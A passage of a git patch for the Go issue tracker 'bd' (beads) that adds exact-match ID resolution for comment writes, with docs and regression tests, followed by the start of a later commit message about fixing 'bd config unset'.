id, writablePrefixRoute, false); prefixErr == nil { return prefixResult, nil } } @@ -87,7 +87,7 @@ func resolveAndGetIssueWithRoutingAccess(ctx context.Context, localStore storage // Auto-routed stores stay read-only even for write-intent callers (writablePrefixRoute): // this path hydrates foreign contributor projects, which must never be mutated. if isNotFoundErr(err) { - if autoResult, autoErr := resolveViaAutoRouting(ctx, localStore, id); autoErr == nil { + if autoResult, autoErr := resolveViaAutoRouting(ctx, localStore, id, false); autoErr == nil { return autoResult, nil } } @@ -117,16 +117,102 @@ func resolveAndGetFromStore(ctx context.Context, s storage.DoltStorage, id strin }, nil } +// resolveAndGetFromStoreExact is resolveAndGetFromStore's exact-match sibling: +// it requires utils.ResolvePartialIDExact instead of the default abbreviation- +// tolerant resolver, so a non-exact candidate (e.g. a reserved word that +// happens to be a leading-prefix abbreviation of some issue's hash) is +// reported as "not found" rather than silently resolved. +func resolveAndGetFromStoreExact(ctx context.Context, s storage.DoltStorage, id string, routed bool) (*RoutedResult, error) { + resolvedID, err := utils.ResolvePartialIDExact(ctx, s, id) + if err != nil { + return nil, err + } + + issue, err := s.GetIssue(ctx, resolvedID) + if err != nil { + return nil, err + } + + return &RoutedResult{ + Issue: issue, + Store: s, + Routed: routed, + ResolvedID: resolvedID, + }, nil +} + +// resolveAndGetIssueForMutationExact resolves an issue like +// resolveAndGetIssueForMutation, but requires an EXACT id match against each +// store it tries (no leading-prefix abbreviation matching) — see +// utils.ResolvePartialIDExact. Cross-rig prefix routing and contributor +// auto-routing are still attempted as fallbacks exactly as before if the +// local store doesn't have the issue at all; only the per-store resolution +// within each tier is tightened. Used by write paths where an id argument +// that doesn't exactly name a real issue must error out instead of silently +// mutating whatever it fuzzy-matches (`bd comment list `, a typo for +// `bd comments list`, was silently resolving "list" to a wisp whose hash +// happened to start with "list"). +func resolveAndGetIssueForMutationExact(ctx context.Context, localStore storage.DoltStorage, id string) (*RoutedResult, error) { + result, err := resolveAndGetFromStoreExact(ctx, localStore, id, false) + if err == nil { + return result, nil + } + + // The routed tiers resolve with utils.ResolvePartialIDExact too, so each + // can mint utils.ErrAbbreviatedIDNotAllowed of its own — the abbreviation + // names a real issue in the routed rig rather than here — and both + // wrappers hand that error back unwrapped. Keep the first such refusal: + // the local error is only a plain not-found, and returning it would tell + // the caller no issue matches an id a routed store demonstrably holds, + // which is exactly the falsehood the sentinel exists to prevent. + var abbrevErr error + + if isNotFoundErr(err) { + prefixResult, prefixErr := resolveViaPrefixRoutingWithAccess(ctx, id, true, true) + if prefixErr == nil { + return prefixResult, nil + } + if errors.Is(prefixErr, utils.ErrAbbreviatedIDNotAllowed) { + abbrevErr = prefixErr + } + } + + if isNotFoundErr(err) { + autoResult, autoErr := resolveViaAutoRouting(ctx, localStore, id, true) + if autoErr == nil { + return autoResult, nil + } + if abbrevErr == nil && errors.Is(autoErr, utils.ErrAbbreviatedIDNotAllowed) { + abbrevErr = autoErr + } + } + + if abbrevErr != nil { + return nil, abbrevErr + } + + return nil, err +} + // resolveViaAutoRouting attempts to find an issue using contributor auto-routing. // This is the fallback when the local store doesn't have the issue (GH#2345). // Returns a RoutedResult if the issue is found in the auto-routed store. -func resolveViaAutoRouting(ctx context.Context, localStore storage.DoltStorage, id string) (*RoutedResult, error) { +// +// exact selects utils.ResolvePartialIDExact over the default abbreviation- +// tolerant resolver for the auto-routed store lookup, mirroring the local-store +// distinction in resolveAndGetFromStore vs resolveAndGetFromStoreExact. +func resolveViaAutoRouting(ctx context.Context, localStore storage.DoltStorage, id string, exact bool) (*RoutedResult, error) { routedStore, routed, _, err := openRoutedReadStore(ctx, localStore) if err != nil || !routed { return nil, fmt.Errorf("no auto-routed store available") } - result, err := resolveAndGetFromStore(ctx, routedStore, id, true) + var result *RoutedResult + if exact { + result, err = resolveAndGetFromStoreExact(ctx, routedStore, id, true) + } else { + result, err = resolveAndGetFromStore(ctx, routedStore, id, true) + } if err != nil { _ = routedStore.Close() return nil, err @@ -152,14 +238,17 @@ type prefixRoute struct { // The read-only open guarantees a routed read cannot mutate the target; mutation // commands must route through resolveViaPrefixRoutingWithAccess with writable=true. func resolveViaPrefixRouting(ctx context.Context, id string) (*RoutedResult, error) { - return resolveViaPrefixRoutingWithAccess(ctx, id, false) + return resolveViaPrefixRoutingWithAccess(ctx, id, false, false) } // resolveViaPrefixRoutingWithAccess is the shared implementation that selects the // store-open mode. writable opens the routed target writable, behaving like running // the command inside that rig; false keeps the read-only open that guarantees a -// routed read cannot mutate the target (bd-6dnrw.32). -func resolveViaPrefixRoutingWithAccess(ctx context.Context, id string, writable bool) (*RoutedResult, error) { +// routed read cannot mutate the target (bd-6dnrw.32). exact selects +// utils.ResolvePartialIDExact over the default abbreviation-tolerant resolver for +// the routed store lookup, mirroring resolveAndGetFromStore vs +// resolveAndGetFromStoreExact. +func resolveViaPrefixRoutingWithAccess(ctx context.Context, id string, writable bool, exact bool) (*RoutedResult, error) { if strings.Index(id, "-") <= 0 { return nil, fmt.Errorf("no prefix in ID %q", id) } @@ -225,7 +314,12 @@ func resolveViaPrefixRoutingWithAccess(ctx context.Context, id string, writable return nil, fmt.Errorf("opening routed store for %s: %w", matchedRoute.Path, openErr) } - result, err := resolveAndGetFromStore(ctx, targetStore, id, true) + var result *RoutedResult + if exact { + result, err = resolveAndGetFromStoreExact(ctx, targetStore, id, true) + } else { + result, err = resolveAndGetFromStore(ctx, targetStore, id, true) + } if err != nil { _ = targetStore.Close() return nil, err @@ -326,7 +420,7 @@ func getIssueWithRouting(ctx context.Context, localStore storage.DoltStorage, id // If not found via prefix routing, try contributor auto-routing as fallback (GH#2345). if isNotFoundErr(err) { - if autoResult, autoErr := resolveViaAutoRouting(ctx, localStore, id); autoErr == nil { + if autoResult, autoErr := resolveViaAutoRouting(ctx, localStore, id, false); autoErr == nil { return autoResult, nil } } diff --git a/docs/core-concepts/hash-ids.md b/docs/core-concepts/hash-ids.md index 92b2267ff..8c8efd2e6 100644 --- a/docs/core-concepts/hash-ids.md +++ b/docs/core-concepts/hash-ids.md @@ -118,6 +118,31 @@ bd show bd-a1b2c3d4 bd list --full-ids ``` +### `bd comment` requires the full id + +Every command above resolves an abbreviation the same way — but `bd comment + "text"` (and its `bd comments add` twin) is the one deliberate exception: +it accepts only a full, exact id, never an abbreviation. This is a policy +trade for an agent fleet, not an oversight: an abbreviation that happens to be +a leading-prefix match for the wrong issue would silently write the comment +there instead of erroring, and a comment write has no confirmation step to +catch it before the message lands on the wrong issue. Reads and every other +mutation (`show`, `close`, `update`, …) keep accepting abbreviations as +documented above. + +```bash +bd show a1b2 # OK — abbreviation resolves for reads +bd close a1b2 # OK — abbreviation resolves for other writes +bd comment a1b2 "text" # refused — comment writes require the full id +bd comment bd-a1b2c3d4 "text" # OK — use the full id from `bd show` +``` + +A reserved word (`list`, `add`, `rm`, `delete`) as the id positional is +refused the same way, for a related reason: `bd comment list "text"` almost +always means the caller confused the singular shorthand with the plural `bd +comments list`/`bd comments add "text"`, not that an issue is literally +named `list`. + ## Migration from Sequential IDs If migrating from a system with sequential IDs: @@ -132,7 +157,9 @@ bd show bd-new --json | jq '.original_id' ## Best Practices -1. **Use short references** - `bd-a1b2` is usually unique enough +1. **Use short references** - `bd-a1b2` is usually unique enough, except on + `bd comment` writes, which require the full id (see + [Working with IDs](#working-with-ids) above) 2. **Use `--json` for scripts** - Parse full ID programmatically 3. **Reference by hash in commits** - `Fixed bd-a1b2` in commit messages 4. **Let hierarchies form naturally** - Create epics, add children as needed diff --git a/internal/utils/BUILD.bazel b/internal/utils/BUILD.bazel index 72a46213c..97d1a0e58 100644 --- a/internal/utils/BUILD.bazel +++ b/internal/utils/BUILD.bazel @@ -29,6 +29,8 @@ go_library( go_test( name = "utils_test", srcs = [ + "id_parser_exact_test.go", + "id_parser_fake_test.go", "id_parser_prefix_test.go", "id_parser_sentinel_test.go", "id_parser_test.go", diff --git a/internal/utils/id_parser.go b/internal/utils/id_parser.go index ec77d1a2e..70167c593 100644 --- a/internal/utils/id_parser.go +++ b/internal/utils/id_parser.go @@ -19,6 +19,20 @@ import ( // "not found" and surface the candidate list instead of a generic failure. var ErrAmbiguousID = errors.New("ambiguous issue ID") +// ErrAbbreviatedIDNotAllowed is the sentinel wrapped into the error +// ResolvePartialIDExact returns when the input does not exactly name an +// issue but WOULD have resolved via leading-prefix abbreviation matching — +// the behavior ResolvePartialID allows and exact-only callers refuse. +// +// Distinguishing this from "no such issue at all" matters because the two +// are not the same failure: an abbreviation that matches a real issue is +// proof the issue exists, so telling the caller "no issue found matching" +// (the message a genuine not-found gets) is false. Exact-only callers use +// errors.Is(err, ErrAbbreviatedIDNotAllowed) to give a truthful, actionable +// message instead ("id abbreviations are not accepted here; use the full +// id") — see bd comment's resolveAndGetIssueForMutationExact caller. +var ErrAbbreviatedIDNotAllowed = errors.New("id is a valid abbreviation, but exact-match resolution is required here") + type PartialIDResolverStore interface { SearchIssues(ctx context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) SearchIssueIDs(ctx context.Context, query string, filter types.IssueFilter) ([]string, error) @@ -53,6 +67,29 @@ func parseIssueID(input string, prefix string) string { // - No issue found matching the ID // - Multiple issues match (ambiguous prefix) func ResolvePartialID(ctx context.Context, store PartialIDResolverStore, input string) (string, error) { + return resolvePartialID(ctx, store, input, true) +} + +// ResolvePartialIDExact resolves an issue ID like ResolvePartialID, but never +// falls back to leading-prefix abbreviation matching (e.g. "a3f8" -> +// "a3f8e9...", or a wisp's stripped hash "list" -> "list3t0") — only a full +// exact ID or exact hash match (with or without a "wisp-" infix) succeeds. +// +// Intended for write paths where a mistyped or coincidentally-prefix-matching +// argument must return "not found" instead of silently mutating an unrelated +// issue (e.g. `bd comment list `, a typo for `bd comments list`, was +// silently fuzzy-resolving "list" to a wisp whose hash happened to start with +// "list" and writing the rest of the command line to it as a comment). +// +// When the input matches nothing exactly but WOULD have resolved via +// leading-prefix abbreviation, the returned error wraps +// ErrAbbreviatedIDNotAllowed rather than being indistinguishable from a +// genuine not-found — see that sentinel's doc comment. +func ResolvePartialIDExact(ctx context.Context, store PartialIDResolverStore, input string) (string, error) { + return resolvePartialID(ctx, store, input, false) +} + +func resolvePartialID(ctx context.Context, store PartialIDResolverStore, input string, allowAbbrev bool) (string, error) { // Refuse before any lookup: these tokens are a valid partial-ID shape, so // they otherwise reach the leading-prefix abbreviation branch below. switch strings.ToLower(strings.TrimSpace(input)) { @@ -153,6 +190,10 @@ func ResolvePartialID(ctx context.Context, store PartialIDResolverStore, input s var matches []string var exactMatch string + // abbrevOnly collects candidates that matched ONLY via leading-prefix + // abbreviation while allowAbbrev is false — never resolved to, only used + // to make the final "not found" error truthful (see ErrAbbreviatedIDNotAllowed). + var abbrevOnly []string for _, id := range ids { // Check for exact full ID match first (case: user typed full ID with different prefix) @@ -179,7 +220,14 @@ func ResolvePartialID(ctx context.Context, store PartialIDResolverStore, input s // Leading-prefix abbreviation (documented UX, e.g. "a3f8" -> "a3f8e9..."). // HasPrefix rather than Contains: reject interior-substring matches // like "kt8" inside "j0kt8" (GH#4234). - matches = append(matches, id) + if allowAbbrev { + matches = append(matches, id) + } else { + // Exact-only callers must never silently resolve to this + // candidate, but its existence is what makes "no issue found + // matching" false below — track it instead of discarding it. + abbrevOnly = append(abbrevOnly, id) + } } } @@ -214,7 +262,11 @@ func ResolvePartialID(ctx context.Context, store PartialIDResolverStore, input s if wHash == hashPart || wispHash == hashPart { exactMatch = wID } else if strings.HasPrefix(wispHash, hashPart) { - matches = append(matches, wID) + if allowAbbrev { + matches = append(matches, wID) + } else { + abbrevOnly = append(abbrevOnly, wID) + } } } if exactMatch != "" { @@ -224,6 +276,16 @@ func ResolvePartialID(ctx context.Context, store PartialIDResolverStore, input s } if len(matches) == 0 { + if !allowAbbrev && len(abbrevOnly) > 0 { + // The input matched nothing exactly, but it IS a valid leading- + // prefix abbreviation of at least one real issue — telling the + // caller "no issue found" here would be false. Report the + // truthful reason instead so an exact-only caller (comment.go's + // resolveAndGetIssueForMutationExact) can surface an accurate, + // actionable message rather than claiming the issue is missing. + sort.Strings(abbrevOnly) + return "", fmt.Errorf("%w: %q (matches %v)", ErrAbbreviatedIDNotAllowed, input, abbrevOnly) + } return "", fmt.Errorf("no issue found matching %q", input) } diff --git a/internal/utils/id_parser_exact_test.go b/internal/utils/id_parser_exact_test.go new file mode 100644 index 000000000..e60d9e370 --- /dev/null +++ b/internal/utils/id_parser_exact_test.go @@ -0,0 +1,208 @@ +//go:build cgo + +package utils_test + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/utils" +) + +// TestResolvePartialIDExact_RejectsAbbreviationAcceptsExact reuses the same +// fixture shape as TestResolvePartialID (full/partial/hierarchical/substring +// issues) to show ResolvePartialIDExact keeps every exact-match case working +// identically to ResolvePartialID, while every leading-prefix-abbreviation +// case — which ResolvePartialID happily resolves — now errors instead of +// silently picking a candidate. +func TestResolvePartialIDExact_RejectsAbbreviationAcceptsExact(t *testing.T) { + ctx := context.Background() + store := newTestStore(t) + + prefixIssue := &types.Issue{ + ID: "bd-a3f8e9", + Title: "Prefix resolution target", + Status: types.StatusOpen, + Priority: 1, + IssueType: types.TypeTask, + } + plainIssue := &types.Issue{ + ID: "bd-1", + Title: "Plain issue", + Status: types.StatusOpen, + Priority: 1, + IssueType: types.TypeTask, + } + + if err := store.CreateIssue(ctx, prefixIssue, "test"); err != nil { + t.Fatal(err) + } + if err := store.CreateIssue(ctx, plainIssue, "test"); err != nil { + t.Fatal(err) + } + if err := store.SetConfig(ctx, "issue_prefix", "bd-"); err != nil { + t.Fatal(err) + } + + tests := []struct { + name string + input string + expected string + shouldError bool + }{ + { + name: "exact match with prefix still resolves", + input: "bd-1", + expected: "bd-1", + }, + { + name: "exact match without prefix still resolves", + input: "1", + expected: "bd-1", + }, + { + name: "exact full hash still resolves", + input: "a3f8e9", + expected: "bd-a3f8e9", + }, + { + name: "leading-prefix abbreviation now errors (was silently accepted by ResolvePartialID)", + input: "a3f8", + shouldError: true, + }, + { + name: "nonexistent issue still errors", + input: "bd-999", + shouldError: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result, err := utils.ResolvePartialIDExact(ctx, store, tt.input) + if tt.shouldError { + if err == nil { + t.Fatalf("utils.ResolvePartialIDExact(%q) = %q, nil; want error", tt.input, result) + } + return + } + if err != nil { + t.Fatalf("utils.ResolvePartialIDExact(%q) unexpected error: %v", tt.input, err) + } + if result != tt.expected { + t.Errorf("utils.ResolvePartialIDExact(%q) = %q; want %q", tt.input, result, tt.expected) + } + }) + } +} + +// TestResolvePartialIDExact_Wisp is a direct regression test for the +// reported incident: a wisp's stripped hash ("t3st" from "bd-wisp-t3st") +// must still resolve exactly (that's a real, deliberate exact-match +// convenience — referencing a wisp without typing "wisp-"), but a +// leading-prefix abbreviation of that hash ("t3s", or the real incident's +// "list" against "list3t0") must now error instead of silently landing on +// the wisp. +func TestResolvePartialIDExact_Wisp(t *testing.T) { + ctx := context.Background() + store := newTestStore(t) + + wisp := &types.Issue{ + ID: "bd-wisp-t3st", + Title: "Test wisp", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + Ephemeral: true, + } + if err := store.CreateIssue(ctx, wisp, "test"); err != nil { + t.Fatal(err) + } + if err := store.SetConfig(ctx, "issue_prefix", "bd"); err != nil { + t.Fatal(err) + } + + tests := []struct { + name string + input string + expected string + shouldError bool + }{ + { + name: "full wisp ID still resolves exactly", + input: "bd-wisp-t3st", + expected: "bd-wisp-t3st", + }, + { + name: "wisp prefix with full hash still resolves exactly", + input: "wisp-t3st", + expected: "bd-wisp-t3st", + }, + { + name: "bare full hash still resolves exactly (wisp- infix stripped, but hash is complete)", + input: "t3st", + expected: "bd-wisp-t3st", + }, + { + name: "leading-prefix abbreviation of the wisp hash now errors", + input: "t3s", + shouldError: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result, err := utils.ResolvePartialIDExact(ctx, store, tt.input) + if tt.shouldError { + if err == nil { + t.Fatalf("utils.ResolvePartialIDExact(%q) = %q, nil; want error", tt.input, result) + } + return + } + if err != nil { + t.Fatalf("utils.ResolvePartialIDExact(%q) unexpected error: %v", tt.input, err) + } + if result != tt.expected { + t.Errorf("utils.ResolvePartialIDExact(%q) = %q; want %q", tt.input, result, tt.expected) + } + }) + } +} + +// TestResolvePartialIDExact_ReservedWordDoesNotCollideWithWisp is the exact +// shape of the real incident: a wisp whose hash happens to start with a +// word a caller might type by accident. Even without the CLI-level +// reserved-word guard, ResolvePartialIDExact alone must refuse to resolve +// "list" against a wisp hashed "list3t0". +func TestResolvePartialIDExact_ReservedWordDoesNotCollideWithWisp(t *testing.T) { + ctx := context.Background() + store := newTestStore(t) + + wisp := &types.Issue{ + ID: "bd-wisp-list3t0", + Title: "Unrelated wisp (order:dolt-health)", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + Ephemeral: true, + } + if err := store.CreateIssue(ctx, wisp, "test"); err != nil { + t.Fatal(err) + } + if err := store.SetConfig(ctx, "issue_prefix", "bd"); err != nil { + t.Fatal(err) + } + + if result, err := utils.ResolvePartialIDExact(ctx, store, "list"); err == nil { + t.Fatalf(`utils.ResolvePartialIDExact("list") = %q, nil; want "not found" error, not a silent match onto %s`, result, wisp.ID) + } + + // Sanity check against the OLD behavior: ResolvePartialID (still the + // default for read paths) is documented to resolve this via the leading- + // prefix abbreviation branch — confirms the fixture actually reproduces + // the incident's collision instead of trivially not matching anything. + if result, err := utils.ResolvePartialID(ctx, store, "list"); err != nil || result != wisp.ID { + t.Fatalf("fixture sanity check failed: utils.ResolvePartialID(%q) = (%q, %v); want (%q, nil) — the incident's collision did not reproduce", "list", result, err, wisp.ID) + } +} diff --git a/internal/utils/id_parser_fake_test.go b/internal/utils/id_parser_fake_test.go new file mode 100644 index 000000000..22e7e209a --- /dev/null +++ b/internal/utils/id_parser_fake_test.go @@ -0,0 +1,233 @@ +package utils_test + +// Fake, in-memory implementation of utils.PartialIDResolverStore. Unlike the +// other tests in this package, this one needs no cgo, no Dolt binary, and no +// Docker test container — it exercises ResolvePartialID/ResolvePartialIDExact +// against a hand-rolled store, so it can actually run in any environment +// (including ones where the Docker-backed newTestStore tests in +// id_parser_test.go / id_parser_exact_test.go skip themselves). + +import ( + "context" + "errors" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/utils" +) + +type fakeIssue struct { + id string + ephemeral bool +} + +// fakeResolverStore is a minimal PartialIDResolverStore backed by a plain +// slice, replicating just enough of the real store's query semantics for +// ResolvePartialID/ResolvePartialIDExact: exact-ID lookup (SearchIssues with +// filter.IDs) and substring "LIKE"-style search optionally scoped to +// ephemeral issues (SearchIssueIDs). +type fakeResolverStore struct { + issues []fakeIssue + config map[string]string +} + +func (f *fakeResolverStore) SearchIssues(_ context.Context, _ string, filter types.IssueFilter) ([]*types.Issue, error) { + var out []*types.Issue + for _, iss := range f.issues { + if len(filter.IDs) > 0 && !containsStr(filter.IDs, iss.id) { + continue + } + out = append(out, &types.Issue{ID: iss.id, Ephemeral: iss.ephemeral}) + } + return out, nil +} + +func (f *fakeResolverStore) SearchIssueIDs(_ context.Context, query string, filter types.IssueFilter) ([]string, error) { + var out []string + for _, iss := range f.issues { + if filter.Ephemeral != nil && iss.ephemeral != *filter.Ephemeral { + continue + } + if query != "" && !strings.Contains(iss.id, query) { + continue + } + out = append(out, iss.id) + } + return out, nil +} + +func (f *fakeResolverStore) GetConfig(_ context.Context, key string) (string, error) { + return f.config[key], nil +} + +func containsStr(haystack []string, needle string) bool { + for _, s := range haystack { + if s == needle { + return true + } + } + return false +} + +// TestResolvePartialIDExact_FakeStore_ReproducesReportedIncident is a +// Docker-free, always-runnable reproduction of a real incident: +// "bd comment list " (a typo for "bd comments list") resolved "list" +// against a wisp "hq-wisp-list3t0" via leading-prefix abbreviation and wrote +// the rest of the command line to it as a comment. It asserts three things +// in one place: (1) the fixture genuinely reproduces the old collision via +// ResolvePartialID, (2) ResolvePartialIDExact refuses the same input, and +// (3) ResolvePartialIDExact still resolves genuinely exact references +// (happy path untouched). +func TestResolvePartialIDExact_FakeStore_ReproducesReportedIncident(t *testing.T) { + ctx := context.Background() + store := &fakeResolverStore{ + issues: []fakeIssue{ + {id: "hq-wisp-list3t0", ephemeral: true}, + {id: "hq-165vq", ephemeral: false}, + }, + config: map[string]string{"issue_prefix": "hq"}, + } + + // Sanity check: confirm the fixture reproduces the OLD (still-default, + // still-correct-for-read-paths) fuzzy behavior before asserting the fix. + gotFuzzy, err := utils.ResolvePartialID(ctx, store, "list") + if err != nil || gotFuzzy != "hq-wisp-list3t0" { + t.Fatalf("fixture sanity check failed: ResolvePartialID(%q) = (%q, %v); want (%q, nil) — incident did not reproduce", + "list", gotFuzzy, err, "hq-wisp-list3t0") + } + + // The fix: the write-path resolver must refuse the same input instead of + // silently landing on the unrelated wisp. Asserting errors.Is (not just + // err != nil) pins the WISP branch's abbrevOnly tracking specifically: + // without it, "list" still fails (via the generic "no issue found" + // fallback), so a regression that silently drops the wisp-branch + // abbrevOnly candidate — reintroducing this exact incident's false + // not-found — would pass this test undetected. + if got, err := utils.ResolvePartialIDExact(ctx, store, "list"); err == nil { + t.Fatalf(`ResolvePartialIDExact("list") = (%q, nil); want a "not found" error, not a silent match onto hq-wisp-list3t0`, got) + } else if !errors.Is(err, utils.ErrAbbreviatedIDNotAllowed) { + t.Fatalf(`ResolvePartialIDExact("list") error = %v; want errors.Is(err, ErrAbbreviatedIDNotAllowed) — "list" IS a valid leading-prefix abbreviation of hq-wisp-list3t0, so the error must say so truthfully, not fall back to a generic "no issue found"`, err) + } + + // Happy path: an id that genuinely, exactly names an issue must still + // resolve under the exact-only resolver. + if got, err := utils.ResolvePartialIDExact(ctx, store, "hq-165vq"); err != nil || got != "hq-165vq" { + t.Errorf("ResolvePartialIDExact(%q) = (%q, %v); want (%q, nil)", "hq-165vq", got, err, "hq-165vq") + } + if got, err := utils.ResolvePartialIDExact(ctx, store, "165vq"); err != nil || got != "hq-165vq" { + t.Errorf("ResolvePartialIDExact(%q) = (%q, %v); want (%q, nil) — bare full hash must still resolve exactly", "165vq", got, err, "hq-165vq") + } + if got, err := utils.ResolvePartialIDExact(ctx, store, "hq-wisp-list3t0"); err != nil || got != "hq-wisp-list3t0" { + t.Errorf("ResolvePartialIDExact(%q) = (%q, %v); want (%q, nil) — full wisp id must still resolve exactly", "hq-wisp-list3t0", got, err, "hq-wisp-list3t0") + } +} + +// TestResolvePartialIDExact_AbbreviationRefusalIsDistinguishableFromNotFound +// is a Docker-free regression test for the follow-up steveyegge's PR #5393 +// review flagged (item c): an abbreviation that DOES match a real issue must +// error differently from an input that matches nothing at all, because "no +// issue found matching %q" is false in the first case — the issue exists, +// only the abbreviation was refused. Exact-only callers (bd comment) use +// errors.Is(err, ErrAbbreviatedIDNotAllowed) to tell the two apart and give a +// truthful, actionable message instead of claiming the issue is missing. +func TestResolvePartialIDExact_AbbreviationRefusalIsDistinguishableFromNotFound(t *testing.T) { + ctx := context.Background() + store := &fakeResolverStore{ + issues: []fakeIssue{ + {id: "hq-a3f8e9", ephemeral: false}, + }, + config: map[string]string{"issue_prefix": "hq"}, + } + + // A real, valid leading-prefix abbreviation of an existing issue: must + // wrap ErrAbbreviatedIDNotAllowed, not a plain "not found". + got, err := utils.ResolvePartialIDExact(ctx, store, "a3f8") + if err == nil { + t.Fatalf(`ResolvePartialIDExact("a3f8") = (%q, nil); want an ErrAbbreviatedIDNotAllowed error — "a3f8" is a real abbreviation of hq-a3f8e9`, got) + } + if !errors.Is(err, utils.ErrAbbreviatedIDNotAllowed) { + t.Errorf(`ResolvePartialIDExact("a3f8") error = %q; want it to wrap ErrAbbreviatedIDNotAllowed (errors.Is)`, err) + } + if strings.Contains(err.Error(), "no issue found matching") { + t.Errorf(`ResolvePartialIDExact("a3f8") error = %q; must NOT claim "no issue found" — hq-a3f8e9 exists`, err) + } + + // An input that matches nothing at all, not even via abbreviation: must + // stay a plain not-found, and must NOT wrap ErrAbbreviatedIDNotAllowed — + // proves the two failure modes are genuinely distinguishable, not just + // differently worded copies of the same check. + got, err = utils.ResolvePartialIDExact(ctx, store, "zzzzzz") + if err == nil { + t.Fatalf(`ResolvePartialIDExact("zzzzzz") = (%q, nil); want a not-found error`, got) + } + if errors.Is(err, utils.ErrAbbreviatedIDNotAllowed) { + t.Errorf(`ResolvePartialIDExact("zzzzzz") error = %q; want a plain not-found, not ErrAbbreviatedIDNotAllowed — nothing matches "zzzzzz" even via abbreviation`, err) + } + if !strings.Contains(err.Error(), "no issue found matching") { + t.Errorf(`ResolvePartialIDExact("zzzzzz") error = %q; want the genuine "no issue found matching" wording`, err) + } + + // Sanity: the exact id still resolves under the same store/config, + // confirming the fixture didn't accidentally break the happy path. + if got, err := utils.ResolvePartialIDExact(ctx, store, "hq-a3f8e9"); err != nil || got != "hq-a3f8e9" { + t.Errorf("ResolvePartialIDExact(%q) = (%q, %v); want (%q, nil)", "hq-a3f8e9", got, err, "hq-a3f8e9") + } +} + +// TestResolvePartialIDExact_RefusesSentinelTokens pins where #6215's bare- +// sentinel guard has to live once this PR splits the resolver in two. +// +// #6215 (base) refuses "null"/"undefined"/"none"/"nil"/"" before any lookup, +// and put that guard in ResolvePartialID because it was then the only +// ID-resolution entry point in the repository. This PR adds a second one, +// ResolvePartialIDExact, so the guard belongs in the shared resolvePartialID +// body — which is what keeps #6215's own stated guarantee ("bd update null, +// bd comment null and every other command that resolves an ID now fail before +// any lookup") true for the comment write paths this PR routes through the +// exact-only resolver. +// +// Nothing else covers that: #6215's id_parser_sentinel_test.go exercises only +// ResolvePartialID, so leaving the guard in the exported wrapper alone keeps +// every one of its assertions green while a sentinel reaching the exact path +// degrades into an ErrAbbreviatedIDNotAllowed that names an unrelated decoy +// issue — telling the caller to "use the full id" for a token that is really +// just their selector having matched nothing. +func TestResolvePartialIDExact_RefusesSentinelTokens(t *testing.T) { + ctx := context.Background() + // hq-null3t0 is #6215's own decoy shape: a real issue whose hash begins + // with "null", so an unguarded sentinel is a live abbreviation match here + // rather than a plain not-found. + store := &fakeResolverStore{ + issues: []fakeIssue{ + {id: "hq-null3t0", ephemeral: false}, + {id: "hq-165vq", ephemeral: false}, + }, + config: map[string]string{"issue_prefix": "hq"}, + } + + for _, input := range []string{"null", "NULL", " null ", "undefined", "none", "nil", "", " "} { + got, err := utils.ResolvePartialIDExact(ctx, store, input) + if err == nil { + t.Errorf("ResolvePartialIDExact(%q) = (%q, nil); want #6215's sentinel refusal", input, got) + continue + } + if !strings.Contains(err.Error(), "refusing") { + t.Errorf("ResolvePartialIDExact(%q) error = %q; want #6215's sentinel refusal (guard did not fire on the exact path)", input, err) + } + if errors.Is(err, utils.ErrAbbreviatedIDNotAllowed) { + t.Errorf("ResolvePartialIDExact(%q) error = %q; a tooling sentinel must be refused as such, not reported as a refused abbreviation of hq-null3t0", input, err) + } + if strings.Contains(err.Error(), "hq-null3t0") { + t.Errorf("ResolvePartialIDExact(%q) error = %q; must not name the decoy issue", input, err) + } + } + + // Over-refusal guard, the twin of #6215's accepted-inputs test: an id that + // merely CONTAINS a sentinel token must still resolve exactly. + for _, input := range []string{"hq-null3t0", "null3t0"} { + if got, err := utils.ResolvePartialIDExact(ctx, store, input); err != nil || got != "hq-null3t0" { + t.Errorf("ResolvePartialIDExact(%q) = (%q, %v); want (%q, nil) — the guard must match the whole token, not a prefix", input, got, err, "hq-null3t0") + } + } +} From 29aba4f8b222e642a83bb4ef7cc87c0b2b21ba26 Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Thu, 1 Oct 2026 05:07:04 -0700 Subject: [PATCH 025/325] fix(config): bd config unset reported success while the key stayed set (#5760) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(config): unset a nested key in config.yaml instead of reporting a no-op commentOutYamlKey matched only a flat "a.b:" line, so unsetting a key written in nested form left the file untouched while bd printed "Unset (in config.yaml)" and the value stayed effective. The write side does not have this limitation: SetYamlConfig routes dotted keys through updateNestedYamlKey, and readUserGlobalYamlValue accepts either shape, so bd could produce and read a nested key it could not remove. The shipped config.yaml template documents the nested form in its commented examples, which is the likeliest way a user acquires one. Locate the leaf through the yaml node tree and comment out its source line rather than re-marshalling, so the file's comments and layout survive. A leaf whose value is not a scalar on the key's own line is refused: commenting one line of a multi-line value would leave the file unparseable. The flat form is still tried first and still wins when a file somehow carries both. * fix(config): do not comment out a yaml key whose value is the block below it commentOutYamlKey matched any line opening with the key, so unsetting a key that names a mapping commented out only that line and left the block beneath it indented under nothing. The result does not parse, and the next bd command in that workspace fails to read its config rather than losing one setting. Skip a match whose value is empty and whose following content line is indented deeper: that line is the head of a block, not a setting. A key with a genuinely empty value is still commented out, including at end of file, where there is no following line to judge. * fix(config): clear the config.yaml layer on unset of a database-backed key bd config unset routes a key IsYamlOnlyKey does not claim to UnsetSetting, which deletes the database row and nothing else. A key that also appears in .beads/config.yaml therefore survived its own unset: "Unset " was printed, and bd config show still resolved the value from config.yaml on the next read. types.custom and types.infra are the keys this bites, since neither is yaml-only and both are read back out of the file. Clear the file layer too when the key is set there, and name the locations that were actually cleared so the message can be trusted. The JSON form gains the same location field the yaml-only branch already emits. Removing the key from config.yaml comments the line out rather than deleting it, so the file keeps documenting the setting. Stacked on the nested-key fix: without it this path would report config.yaml as cleared while a nested key stayed effective. * style(config): fix the misspell lint on the new doc comment golangci-lint's misspell linter fails the PR on "re-marshalling" in the commentOutNestedYamlKey doc comment: the enforced spelling is "marshaling". 